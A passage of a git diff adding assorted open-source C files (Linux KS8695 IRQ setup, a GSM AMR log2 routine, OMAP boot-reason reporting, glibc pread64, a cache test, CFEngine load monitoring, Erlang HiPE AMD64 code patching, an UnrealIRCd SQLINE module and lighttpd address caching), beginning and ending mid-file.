+			return -EINVAL;
+	}
+
+	if (level_triggered) {
+		irq_set_chip_and_handler(d->irq, &ks8695_irq_level_chip,
+					 handle_level_irq);
+	}
+	else {
+		irq_set_chip_and_handler(d->irq, &ks8695_irq_edge_chip,
+					 handle_edge_irq);
+	}
+
+	__raw_writel(ctrl, KS8695_GPIO_VA + KS8695_IOPC);
+	return 0;
+}
+
+static struct irq_chip ks8695_irq_level_chip = {
+	.irq_ack	= ks8695_irq_mask,
+	.irq_mask	= ks8695_irq_mask,
+	.irq_unmask	= ks8695_irq_unmask,
+	.irq_set_type	= ks8695_irq_set_type,
+};
+
+static struct irq_chip ks8695_irq_edge_chip = {
+	.irq_ack	= ks8695_irq_ack,
+	.irq_mask	= ks8695_irq_mask,
+	.irq_unmask	= ks8695_irq_unmask,
+	.irq_set_type	= ks8695_irq_set_type,
+};
+
+void __init ks8695_init_irq(void)
+{
+	unsigned int irq;
+
+	/*                                  */
+	__raw_writel(0, KS8695_IRQ_VA + KS8695_INTMC);
+	__raw_writel(0, KS8695_IRQ_VA + KS8695_INTEN);
+
+	for (irq = 0; irq < NR_IRQS; irq++) {
+		switch (irq) {
+			/*                            */
+			case KS8695_IRQ_BUS_ERROR:
+			case KS8695_IRQ_UART_MODEM_STATUS:
+			case KS8695_IRQ_UART_LINE_STATUS:
+			case KS8695_IRQ_UART_RX:
+			case KS8695_IRQ_COMM_TX:
+			case KS8695_IRQ_COMM_RX:
+				irq_set_chip_and_handler(irq,
+							 &ks8695_irq_level_chip,
+							 handle_level_irq);
+				break;
+
+			/*                           */
+			default:
+				/*                   */
+				ks8695_irq_ack(irq_get_irq_data(irq));
+				irq_set_chip_and_handler(irq,
+							 &ks8695_irq_edge_chip,
+							 handle_edge_irq);
+		}
+
+		set_irq_flags(irq, IRQF_VALID);
+	}
+}
diff --git a/pool/shard001/C/0022863_log2.c b/pool/shard001/C/0022863_log2.c
new file mode 100644
index 0000000000000000000000000000000000000000..48f20044435c38a4b534a3b3926963f72debc78f
--- /dev/null
+++ b/pool/shard001/C/0022863_log2.c
@@ -0,0 +1,122 @@
+/*
+********************************************************************************
+*
+*      GSM AMR-NB speech codec   R98   Version 7.6.0   December 12, 2001
+*                                R99   Version 3.3.0                
+*                                REL-4 Version 4.1.0                
+*
+********************************************************************************
+*
+*      File             : log2.c
+*      Purpose          : Computes log2(L_x)
+*
+********************************************************************************
+*/
+/*
+********************************************************************************
+*                         MODULE INCLUDE FILE AND VERSION ID
+********************************************************************************
+*/
+#include "log2.h"
+const char log2_id[] = "@(#)$Id $" log2_h;
+ 
+/*
+********************************************************************************
+*                         INCLUDE FILES
+********************************************************************************
+*/
+#include "typedef.h"
+#include "basic_op.h"
+
+ 
+/*
+********************************************************************************
+*                         LOCAL VARIABLES AND TABLES
+********************************************************************************
+*/
+#include "log2.tab"     /* Table for Log2() */
+ 
+/*
+********************************************************************************
+*                         PUBLIC PROGRAM CODE
+********************************************************************************
+*/
+
+/*************************************************************************
+ *
+ *   FUNCTION:   Log2_norm()
+ *
+ *   PURPOSE:   Computes log2(L_x, exp),  where   L_x is positive and
+ *              normalized, and exp is the normalisation exponent
+ *              If L_x is negative or zero, the result is 0.
+ *
+ *   DESCRIPTION:
+ *        The function Log2(L_x) is approximated by a table and linear
+ *        interpolation. The following steps are used to compute Log2(L_x)
+ *
+ *           1- exponent = 30-norm_exponent
+ *           2- i = bit25-b31 of L_x;  32<=i<=63  (because of normalization).
+ *           3- a = bit10-b24
+ *           4- i -=32
+ *           5- fraction = table[i]<<16 - (table[i] - table[i+1]) * a * 2
+ *
+ *************************************************************************/
+void Log2_norm (
+    Word32 L_x,         /* (i) : input value (normalized)                    */
+    Word16 exp,         /* (i) : norm_l (L_x)                                */
+    Word16 *exponent,   /* (o) : Integer part of Log2.   (range: 0<=val<=30) */
+    Word16 *fraction    /* (o) : Fractional part of Log2. (range: 0<=val<1)  */
+)
+{
+    Word16 i, a, tmp;
+    Word32 L_y;
+
+     
+    if (L_x <= (Word32) 0)
+    {
+        *exponent = 0;          
+        *fraction = 0;          
+        return;
+    }
+
+    *exponent = sub (30, exp); 
+
+    L_x = L_shr (L_x, 9);
+    i = extract_h (L_x);                /* Extract b25-b31 */
+    L_x = L_shr (L_x, 1);
+    a = extract_l (L_x);                /* Extract b10-b24 of fraction */
+    a = a & (Word16) 0x7fff;     
+
+    i = sub (i, 32);
+
+    L_y = L_deposit_h (table[i]);       /* table[i] << 16        */
+    tmp = sub (table[i], table[i + 1]); /* table[i] - table[i+1] */
+    L_y = L_msu (L_y, tmp, a);          /* L_y -= tmp*a*2        */
+
+    *fraction = extract_h (L_y);
+
+    return;
+}
+
+/*************************************************************************
+ *
+ *   FUNCTION:   Log2()
+ *
+ *   PURPOSE:   Computes log2(L_x),  where   L_x is positive.
+ *              If L_x is negative or zero, the result is 0.
+ *
+ *   DESCRIPTION:
+ *        normalizes L_x and then calls Log2_norm().
+ *
+ *************************************************************************/
+void Log2 (
+    Word32 L_x,         /* (i) : input value                                 */
+    Word16 *exponent,   /* (o) : Integer part of Log2.   (range: 0<=val<=30) */
+    Word16 *fraction    /* (o) : Fractional part of Log2. (range: 0<=val<1) */
+)
+{
+    Word16 exp;
+
+    exp = norm_l (L_x);
+    Log2_norm (L_shl (L_x, exp), exp, exponent, fraction);
+}
diff --git a/pool/shard001/C/0022864_bootreason.c b/pool/shard001/C/0022864_bootreason.c
new file mode 100644
index 0000000000000000000000000000000000000000..e5f8e87ff560aa090830afb87e74ed0a76403626
--- /dev/null
+++ b/pool/shard001/C/0022864_bootreason.c
@@ -0,0 +1,79 @@
+/*
+ * linux/arch/arm/plat-omap/bootreason.c
+ *
+ * OMAP Bootreason passing
+ *
+ * Copyright (c) 2004 Nokia
+ *
+ * Written by David Weinehall <david.weinehall@nokia.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2 of the License, or (at your
+ * option) any later version.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
+ * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+#include <linux/proc_fs.h>
+#include <linux/errno.h>
+#include <plat/board.h>
+
+static char boot_reason[16];
+
+static int omap_bootreason_read_proc(char *page, char **start, off_t off,
+					 int count, int *eof, void *data)
+{
+	int len = 0;
+
+	len += sprintf(page + len, "%s\n", boot_reason);
+
+	*start = page + off;
+
+	if (len > off)
+		len -= off;
+	else
+		len = 0;
+
+	return len < count ? len  : count;
+}
+
+static int __init bootreason_init(void)
+{
+	const struct omap_boot_reason_config *cfg;
+	int reason_valid = 0;
+
+	cfg = omap_get_config(OMAP_TAG_BOOT_REASON, struct omap_boot_reason_config);
+	if (cfg != NULL) {
+		strncpy(boot_reason, cfg->reason_str, sizeof(cfg->reason_str));
+		boot_reason[sizeof(cfg->reason_str)] = 0;
+		reason_valid = 1;
+	} else {
+		/* Read the boot reason from the OMAP registers */
+	}
+
+	if (!reason_valid)
+		return -ENOENT;
+
+	printk(KERN_INFO "Bootup reason: %s\n", boot_reason);
+
+	if (!create_proc_read_entry("bootreason", S_IRUGO, NULL,
+					omap_bootreason_read_proc, NULL))
+		return -ENOMEM;
+
+	return 0;
+}
+
+late_initcall(bootreason_init);
diff --git a/pool/shard001/C/0022874_pread64.c b/pool/shard001/C/0022874_pread64.c
new file mode 100644
index 0000000000000000000000000000000000000000..3b4608e5cfc785b9a10eaf3c37058243d431b8fb
--- /dev/null
+++ b/pool/shard001/C/0022874_pread64.c
@@ -0,0 +1,63 @@
+/* Copyright (C) 1997, 1998, 1999, 2000, 2002, 2003, 2005
+   Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Ulrich Drepper <drepper@cygnus.com>, 1997.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <errno.h>
+#include <endian.h>
+#include <unistd.h>
+
+#include <sysdep-cancel.h>
+#include <sys/syscall.h>
+#include <bp-checks.h>
+
+ssize_t
+__libc_pread64 (fd, buf, count, offset)
+     int fd;
+     void *buf;
+     size_t count;
+     off64_t offset;
+{
+  ssize_t result;
+
+  if (SINGLE_THREAD_P)
+    {
+      /* In the ARM EABI, 64-bit values are aligned to even/odd register
+	 pairs for syscalls.  */
+      result = INLINE_SYSCALL (pread64, 6, fd, CHECK_N (buf, count), count, 0,
+			       __LONG_LONG_PAIR ((off_t) (offset >> 32),
+						 (off_t) (offset & 0xffffffff)));
+
+      return result;
+    }
+
+  int oldtype = LIBC_CANCEL_ASYNC ();
+
+  /* In the ARM EABI, 64-bit values are aligned to even/odd register
+     pairs for syscalls.  */
+  result = INLINE_SYSCALL (pread64, 6, fd, CHECK_N (buf, count), count, 0,
+			   __LONG_LONG_PAIR ((off_t) (offset >> 32),
+					     (off_t) (offset & 0xffffffff)));
+
+  LIBC_CANCEL_RESET (oldtype);
+
+  return result;
+}
+
+weak_alias (__libc_pread64, __pread64)
+weak_alias (__libc_pread64, pread64)
diff --git a/pool/shard001/C/0022882_lookup.c b/pool/shard001/C/0022882_lookup.c
new file mode 100644
index 0000000000000000000000000000000000000000..edd7bf3c12e262f0ec03c594a8b50e9a84cde0d1
--- /dev/null
+++ b/pool/shard001/C/0022882_lookup.c
@@ -0,0 +1,48 @@
+/*
+ * Test that a basic collector works. Here we will do a basic reduction, keeping
+ * the last value received
+ * 
+ */
+#include <unistd.h>
+#include "../tests.h"
+#include "area51/hashmap.h"
+#include <area51/cache.h>
+#include <string.h>
+
+static void lookup(void *k, void *c, Freeable *f) {
+    int l = strlen((char *) k) + 2;
+    char *s = malloc(l + 1);
+    if (s) {
+        snprintf(s, l, "v%s", k);
+        freeable_set(f, s, free);
+    }
+}
+
+void test_cache_lookup(Test *t) {
+    startTest(t);
+
+    // Max size 10
+    int maxSize = 10;
+
+    // Max age 5s
+    time_t maxAge = 500;
+
+    // Create the cache. We want to expire when full the least used entries
+    Cache *cache = cacheCreate(maxSize,
+            maxAge,
+            hashmapStringHash, hashmapStringEquals, NULL,
+            CACHE_EXPIRE_LEAST_USED,
+            // lookup
+            lookup, NULL, NULL
+            );
+
+    assertNonNull(t, cache);
+
+    void *v = cacheGet(cache, "k5");
+    assertNonNull(t, v);
+    assertTrue(t, strcmp((char *) v, "vk5") == 0);
+
+    cacheFree(cache);
+
+    pass(t);
+}
diff --git a/pool/shard001/C/0022894_mon_load.c b/pool/shard001/C/0022894_mon_load.c
new file mode 100644
index 0000000000000000000000000000000000000000..dcab14373d418130fb26b805c5bb918b60e4804f
--- /dev/null
+++ b/pool/shard001/C/0022894_mon_load.c
@@ -0,0 +1,69 @@
+/*
+   Copyright (C) CFEngine AS
+
+   This file is part of CFEngine 3 - written and maintained by CFEngine AS.
+
+   This program is free software; you can redistribute it and/or modify it
+   under the terms of the GNU General Public License as published by the
+   Free Software Foundation; version 3.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+  You should have received a copy of the GNU General Public License
+  along with this program; if not, write to the Free Software
+  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA
+
+  To the extent this program is licensed as part of the Enterprise
+  versions of CFEngine, the applicable Commerical Open Source License
+  (COSL) may apply to this file if you as a licensee so wish it. See
+  included file COSL.txt.
+*/
+
+#include "cf3.defs.h"
+
+#include "mon.h"
+
+#ifdef HAVE_SYS_LOADAVG_H
+# include <sys/loadavg.h>
+#else
+# define LOADAVG_5MIN    1
+#endif
+
+/* Implementation */
+
+#ifdef HAVE_GETLOADAVG
+
+void MonLoadGatherData(double *cf_this)
+{
+    double load[LOADAVG_5MIN], sum = 0.0;
+    int i, n;
+
+    if ((n = getloadavg(load, LOADAVG_5MIN)) == -1)
+    {
+        cf_this[ob_loadavg] = 0.0;
+    }
+
+    for (i = 0; i < n; ++i)
+    {
+        sum += load[i];
+    }
+
+    sum /= (double) n;
+
+/* Scale load average by 100 to make it visible */
+
+    cf_this[ob_loadavg] = sum;
+    Log(LOG_LEVEL_VERBOSE, "Load Average = %.2lf", cf_this[ob_loadavg]);
+}
+
+#else
+
+void MonLoadGatherData(double *cf_this)
+{
+    Log(LOG_LEVEL_DEBUG, "Average load data is not available.");
+}
+
+#endif
diff --git a/pool/shard001/C/0022895_hipe_amd64.c b/pool/shard001/C/0022895_hipe_amd64.c
new file mode 100644
index 0000000000000000000000000000000000000000..e97c8c76c20ef29f37a4797dc349780c34f3001c
--- /dev/null
+++ b/pool/shard001/C/0022895_hipe_amd64.c
@@ -0,0 +1,244 @@
+/*
+ * %CopyrightBegin%
+ *
+ * Copyright Ericsson AB 2004-2016. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ * %CopyrightEnd%
+ */
+
+
+#include <stddef.h>	/* offsetof() */
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+#include "global.h"
+#include <sys/mman.h>
+#include "error.h"
+#include "bif.h"
+#include "big.h"	/* term_to_Sint() */
+
+#include "hipe_arch.h"
+#include "hipe_bif0.h"
+#include "hipe_native_bif.h"	/* nbif_callemu() */
+
+#undef F_TIMO
+#undef THE_NON_VALUE
+#undef ERL_FUN_SIZE
+#include "hipe_literals.h"
+
+const Uint sse2_fnegate_mask[2] = {0x8000000000000000,0};
+
+void hipe_patch_load_fe(Uint64 *address, Uint64 value)
+{
+    /* address points to an imm64 operand */
+    *address = value;
+    hipe_flush_icache_word(address);
+}
+
+int hipe_patch_insn(void *address, Uint64 value, Eterm type)
+{
+    switch (type) {
+      case am_closure:
+      case am_constant:
+	*(Uint64*)address = value;
+	break;
+      case am_c_const:
+      case am_atom:
+	/* check that value fits in an unsigned imm32 */
+	/* XXX: are we sure it's not really a signed imm32? */
+	if ((Uint)(Uint32)value != value)
+	    return -1;
+	*(Uint32*)address = (Uint32)value;
+	break;
+      default:
+	return -1;
+    }
+    hipe_flush_icache_word(address);
+    return 0;
+}
+
+int hipe_patch_call(void *callAddress, void *destAddress, void *trampoline)
+{
+    Sint rel32;
+
+    if (trampoline)
+	return -1;
+    rel32 = (Sint)destAddress - (Sint)callAddress - 4;
+    if ((Sint)(Sint32)rel32 != rel32)
+	return -1;
+    *(Uint32*)callAddress = (Uint32)rel32;
+    hipe_flush_icache_word(callAddress);
+    return 0;
+}
+
+#if 0	/* change to non-zero to get allocation statistics at exit() */
+static unsigned int total_mapped, nr_joins, nr_splits, total_alloc, nr_allocs, nr_large, total_lost;
+static unsigned int atexit_done;
+
+static void alloc_code_stats(void)
+{
+    printf("\r\nalloc_code_stats: %u bytes mapped, %u joins, %u splits, %u bytes allocated, %u average alloc, %u large allocs, %u bytes lost\r\n",
+	   total_mapped, nr_joins, nr_splits, total_alloc, nr_allocs ? total_alloc/nr_allocs : 0, nr_large, total_lost);
+}
+
+static void atexit_alloc_code_stats(void)
+{
+    if (!atexit_done) {
+	atexit_done = 1;
+	(void)atexit(alloc_code_stats);
+    }
+}
+
+#define ALLOC_CODE_STATS(X)	do{X;}while(0)
+#else
+#define ALLOC_CODE_STATS(X)	do{}while(0)
+#endif
+
+/*
+ * Memory allocator for executable code.
+ *
+ * We use a dedicated allocator for executable code (from OTP 19.0)
+ * to make sure the memory we get is executable (PROT_EXEC)
+ * and to ensure that executable code ends up in the low 2GB
+ * of the address space, as required by HiPE/AMD64's small code model.
+ */
+static void *alloc_code(unsigned int alloc_bytes)
+{
+    ALLOC_CODE_STATS(++nr_allocs);
+    ALLOC_CODE_STATS(total_alloc += alloc_bytes);
+
+    return erts_alloc(ERTS_ALC_T_HIPE_EXEC, alloc_bytes);
+}
+
+void *hipe_alloc_code(Uint nrbytes, Eterm callees, Eterm *trampolines, Process *p)
+{
+    if (is_not_nil(callees))
+	return NULL;
+    *trampolines = NIL;
+    return alloc_code(nrbytes);
+}
+
+/* Make stub for native code calling exported beam function.
+*/
+void *hipe_make_native_stub(void *callee_exp, unsigned int beamArity)
+{
+    /*
+     * This creates a native code stub with the following contents:
+     *
+     * movq $Address, P_CALLEE_EXP(%ebp)  %% Actually two movl
+     * movb $Arity, P_ARITY(%ebp)
+     * jmp callemu
+     *
+     * The stub has variable size, depending on whether the P_CALLEE_EXP
+     * and P_ARITY offsets fit in 8-bit signed displacements or not.
+     * The rel32 offset in the final jmp depends on its actual location,
+     * which also depends on the size of the previous instructions.
+     * Arity is stored with a movb because (a) Björn tells me arities
+     * are <= 255, and (b) a movb is smaller and faster than a movl.
+     */
+    unsigned int codeSize;
+    unsigned char *code, *codep;
+    unsigned int callEmuOffset;
+
+    codeSize =	/* 23, 26, 29, or 32 bytes */
+      23 +	/* 23 when all offsets are 8-bit */
+      (P_CALLEE_EXP >= 128 ? 3 : 0) +
+      ((P_CALLEE_EXP + 4) >= 128 ? 3 : 0) +
+      (P_ARITY >= 128 ? 3 : 0);
+    codep = code = alloc_code(codeSize);
+    if (!code)
+	return NULL;
+
+    /* movl $callee_exp, P_CALLEE_EXP(%ebp); 3 or 6 bytes, plus 4 */
+    codep[0] = 0xc7;
+#if P_CALLEE_EXP >= 128
+    codep[1] = 0x85;	/* disp32[EBP] */
+    codep[2] =  P_CALLEE_EXP        & 0xFF;
+    codep[3] = (P_CALLEE_EXP >>  8) & 0xFF;
+    codep[4] = (P_CALLEE_EXP >> 16) & 0xFF;
+    codep[5] = (P_CALLEE_EXP >> 24) & 0xFF;
+    codep += 6;
+#else
+    codep[1] = 0x45;	/* disp8[EBP] */
+    codep[2] = P_CALLEE_EXP;
+    codep += 3;
+#endif
+    codep[0] = ((unsigned long)callee_exp      ) & 0xFF;
+    codep[1] = ((unsigned long)callee_exp >>  8) & 0xFF;
+    codep[2] = ((unsigned long)callee_exp >> 16) & 0xFF;
+    codep[3] = ((unsigned long)callee_exp >> 24) & 0xFF;
+    codep += 4;
+
+    /* movl (shl 32 $callee_exp), P_CALLEE_EXP+4(%ebp); 3 or 6 bytes, plus 4 */
+    codep[0] = 0xc7;
+#if P_CALLEE_EXP+4 >= 128
+    codep[1] = 0x85;	/* disp32[EBP] */
+    codep[2] =  (P_CALLEE_EXP+4)        & 0xFF;
+    codep[3] = ((P_CALLEE_EXP+4) >>  8) & 0xFF;
+    codep[4] = ((P_CALLEE_EXP+4) >> 16) & 0xFF;
+    codep[5] = ((P_CALLEE_EXP+4) >> 24) & 0xFF;
+    codep += 6;
+#else
+    codep[1] = 0x45;	/* disp8[EBP] */
+    codep[2] =  (P_CALLEE_EXP+4);
+    codep += 3;
+#endif
+    codep[0] = ((unsigned long)callee_exp >> 32) & 0xFF;
+    codep[1] = ((unsigned long)callee_exp >> 40) & 0xFF;
+    codep[2] = ((unsigned long)callee_exp >> 48) & 0xFF;
+    codep[3] = ((unsigned long)callee_exp >> 56) & 0xFF;
+    codep += 4;
+
+    /* movb $beamArity, P_ARITY(%ebp); 3 or 6 bytes */
+    codep[0] = 0xc6;
+#if P_ARITY >= 128
+    codep[1] = 0x85;	/* disp32[EBP] */
+    codep[2] =  P_ARITY        & 0xFF;
+    codep[3] = (P_ARITY >>  8) & 0xFF;
+    codep[4] = (P_ARITY >> 16) & 0xFF;
+    codep[5] = (P_ARITY >> 24) & 0xFF;
+    codep += 6;
+#else
+    codep[1] = 0x45;	/* disp8[EBP] */
+    codep[2] = P_ARITY;
+    codep += 3;
+#endif
+    codep[0] = beamArity;
+    codep += 1;
+
+    /* jmp callemu; 5 bytes */
+    callEmuOffset = (unsigned char*)nbif_callemu - (code + codeSize);
+    codep[0] = 0xe9;
+    codep[1] =  callEmuOffset        & 0xFF;
+    codep[2] = (callEmuOffset >>  8) & 0xFF;
+    codep[3] = (callEmuOffset >> 16) & 0xFF;
+    codep[4] = (callEmuOffset >> 24) & 0xFF;
+    codep += 5;
+
+    ASSERT(codep == code + codeSize);
+
+    /* I-cache flush? */
+
+    return code;
+}
+
+void hipe_arch_print_pcb(struct hipe_process_state *p)
+{
+#define U(n,x) \
+    printf(" % 4d | %s | 0x%0*lx | %*s |\r\n", (int)offsetof(struct hipe_process_state,x), n, 2*(int)sizeof(long), (unsigned long)p->x, 2+2*(int)sizeof(long), "")
+    U("ncsp       ", ncsp);
+    U("narity     ", narity);
+#undef U
+}
diff --git a/pool/shard001/C/0022939_m_sqline.c b/pool/shard001/C/0022939_m_sqline.c
new file mode 100644
index 0000000000000000000000000000000000000000..08d0bc0ad01dcb249b4d794a7ed21fd7f753275d
--- /dev/null
+++ b/pool/shard001/C/0022939_m_sqline.c
@@ -0,0 +1,111 @@
+/*
+ *   Unreal Internet Relay Chat Daemon, src/modules/m_sqline.c
+ *   (C) 2000-2001 Carsten V. Munk and the UnrealIRCd Team
+ *   Moved to modules by Fish (Justin Hammond)
+ *
+ *   This program is free software; you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 1, or (at your option)
+ *   any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program; if not, write to the Free Software
+ *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+#include "config.h"
+#include "struct.h"
+#include "common.h"
+#include "sys.h"
+#include "numeric.h"
+#include "msg.h"
+#include "channel.h"
+#include <time.h>
+#include <sys/stat.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#ifdef _WIN32
+#include <io.h>
+#endif
+#include <fcntl.h>
+#include "h.h"
+#include "proto.h"
+#ifdef _WIN32
+#include "version.h"
+#endif
+
+DLLFUNC int m_sqline(aClient *cptr, aClient *sptr, int parc, char *parv[]);
+
+/* Place includes here */
+#define MSG_SQLINE      "SQLINE"        /* SQLINE */
+
+
+
+ModuleHeader MOD_HEADER(m_sqline)
+  = {
+	"sqline",	/* Name of module */
+	"$Id$", /* Version */
+	"command /sqline", /* Short description of module */
+	"3.2-b8-1",
+	NULL 
+    };
+
+/* This is called on module init, before Server Ready */
+DLLFUNC int MOD_INIT(m_sqline)(ModuleInfo *modinfo)
+{
+	CommandAdd(modinfo->handle, MSG_SQLINE, m_sqline, MAXPARA, 0);
+	MARK_AS_OFFICIAL_MODULE(modinfo);
+	return MOD_SUCCESS;
+}
+
+/* Is first run when server is 100% ready */
+DLLFUNC int MOD_LOAD(m_sqline)(int module_load)
+{
+	return MOD_SUCCESS;
+}
+
+
+/* Called when module is unloaded */
+DLLFUNC int MOD_UNLOAD(m_sqline)(int module_unload)
+{
+	return MOD_SUCCESS;
+}
+
+/*    m_sqline
+**	parv[0] = sender
+**	parv[1] = nickmask
+**	parv[2] = reason
+*/
+DLLFUNC int m_sqline(aClient *cptr, aClient *sptr, int parc, char *parv[])
+{
+	char    mo[1024];
+	char *comment = (parc == 3) ? parv[2] : NULL;
+	char *tkllayer[9] = {
+                me.name,        /*0  server.name */
+                "+",            /*1  +|- */
+                "Q",            /*2  G   */
+                "*" ,           /*3  user */
+                parv[1],           /*4  host */
+                sptr->name,           /*5  setby */
+                "0",            /*6  expire_at */
+                NULL,           /*7  set_at */
+                "no reason"     /*8  reason */
+        };
+
+	if (!IsServer(cptr))
+		return 0;
+
+	if (parc < 2)
+		return 0;
+
+	ircsnprintf(mo, sizeof(mo), "%li", TStime());
+	tkllayer[7] = mo;
+        tkllayer[8] = comment ? comment : "no reason";
+        return m_tkl(&me, &me, 9, tkllayer);
+}
diff --git a/pool/shard001/C/0022941_inet_ntop_cache.c b/pool/shard001/C/0022941_inet_ntop_cache.c
new file mode 100644
index 0000000000000000000000000000000000000000..56872ae991cedccd5346692a04a2cac28d03faf2
--- /dev/null
+++ b/pool/shard001/C/0022941_inet_ntop_cache.c
@@ -0,0 +1,147 @@
+#include "first.h"
+
+#include "inet_ntop_cache.h"
+#include "base.h"
+
+#include "sys-socket.h"
+#include <sys/types.h>
+#include <errno.h>
+#include <string.h>
+
+
+int sock_addr_inet_pton(sock_addr *addr, const char *str,
+                        int family, unsigned short port)
+{
+    if (AF_INET == family) {
+        memset(&addr->ipv4, 0, sizeof(struct sockaddr_in));
+        addr->ipv4.sin_family  = AF_INET;
+        addr->ipv4.sin_port    = htons(port);
+      #if defined(HAVE_INET_ATON) /*(Windows does not provide inet_aton())*/
+        return (0 != inet_aton(str, &addr->ipv4.sin_addr));
+      #else
+        return ((addr->ipv4.sin_addr.s_addr = inet_addr(str)) != INADDR_NONE);
+      #endif
+    }
+  #ifdef HAVE_IPV6
+    else if (AF_INET6 == family) {
+        memset(&addr->ipv6, 0, sizeof(struct sockaddr_in6));
+        addr->ipv6.sin6_family = AF_INET6;
+        addr->ipv6.sin6_port   = htons(port);
+        return inet_pton(AF_INET6, str, &addr->ipv6.sin6_addr);
+    }
+  #endif
+    else {
+        errno = EAFNOSUPPORT;
+        return -1;
+    }
+}
+
+
+const char * sock_addr_inet_ntop(const sock_addr *addr, char *buf, socklen_t sz)
+{
+    if (addr->plain.sa_family == AF_INET) {
+      #if defined(HAVE_INET_PTON) /*(expect inet_ntop if inet_pton)*/
+        return inet_ntop(AF_INET,(const void *)&addr->ipv4.sin_addr,buf,sz);
+      #else /*(inet_ntoa() not thread-safe)*/
+        return inet_ntoa(addr->ipv4.sin_addr);
+      #endif
+    }
+  #ifdef HAVE_IPV6
+    else if (addr->plain.sa_family == AF_INET6) {
+        return inet_ntop(AF_INET6,(const void *)&addr->ipv6.sin6_addr,buf,sz);
+    }
+  #endif
+  #ifdef HAVE_SYS_UN_H
+    else if (addr->plain.sa_family == AF_UNIX) {
+        return addr->un.sun_path;
+    }
+  #endif
+    else {
+        errno = EAFNOSUPPORT;
+        return NULL;
+    }
+}
+
+
+int sock_addr_inet_ntop_copy_buffer(buffer *b, const sock_addr *addr)
+{
+    /*(incur cost of extra copy to avoid potential extra memory allocation)*/
+    char buf[UNIX_PATH_MAX];
+    const char *s = sock_addr_inet_ntop(addr, buf, sizeof(buf));
+    if (NULL == s) return -1; /*(buffer not modified if any error occurs)*/
+    buffer_copy_string(b, s);
+    return 0;
+}
+
+
+int sock_addr_inet_ntop_append_buffer(buffer *b, const sock_addr *addr)
+{
+    /*(incur cost of extra copy to avoid potential extra memory allocation)*/
+    char buf[UNIX_PATH_MAX];
+    const char *s = sock_addr_inet_ntop(addr, buf, sizeof(buf));
+    if (NULL == s) return -1; /*(buffer not modified if any error occurs)*/
+    buffer_append_string(b, s);
+    return 0;
+}
+
+
+const char * inet_ntop_cache_get_ip(server *srv, sock_addr *addr) {
+#ifdef HAVE_IPV6
+	typedef struct {
+		int family;
+		union {
+			struct in6_addr ipv6;
+			struct in_addr  ipv4;
+		} addr;
+		char b2[INET6_ADDRSTRLEN + 1];
+	} inet_ntop_cache_type;
+	#define INET_NTOP_CACHE_MAX 4
+	static inet_ntop_cache_type inet_ntop_cache[INET_NTOP_CACHE_MAX];
+	static int ndx;
+
+	int i;
+	UNUSED(srv);
+	for (i = 0; i < INET_NTOP_CACHE_MAX; i++) {
+		if (inet_ntop_cache[i].family == addr->plain.sa_family) {
+			if (inet_ntop_cache[i].family == AF_INET6 &&
+			    0 == memcmp(inet_ntop_cache[i].addr.ipv6.s6_addr, addr->ipv6.sin6_addr.s6_addr, 16)) {
+				/* IPv6 found in cache */
+				break;
+			} else if (inet_ntop_cache[i].family == AF_INET &&
+				   inet_ntop_cache[i].addr.ipv4.s_addr == addr->ipv4.sin_addr.s_addr) {
+				/* IPv4 found in cache */
+				break;
+
+			}
+		}
+	}
+
+	if (i == INET_NTOP_CACHE_MAX) {
+		/* not found in cache */
+		const char *s;
+
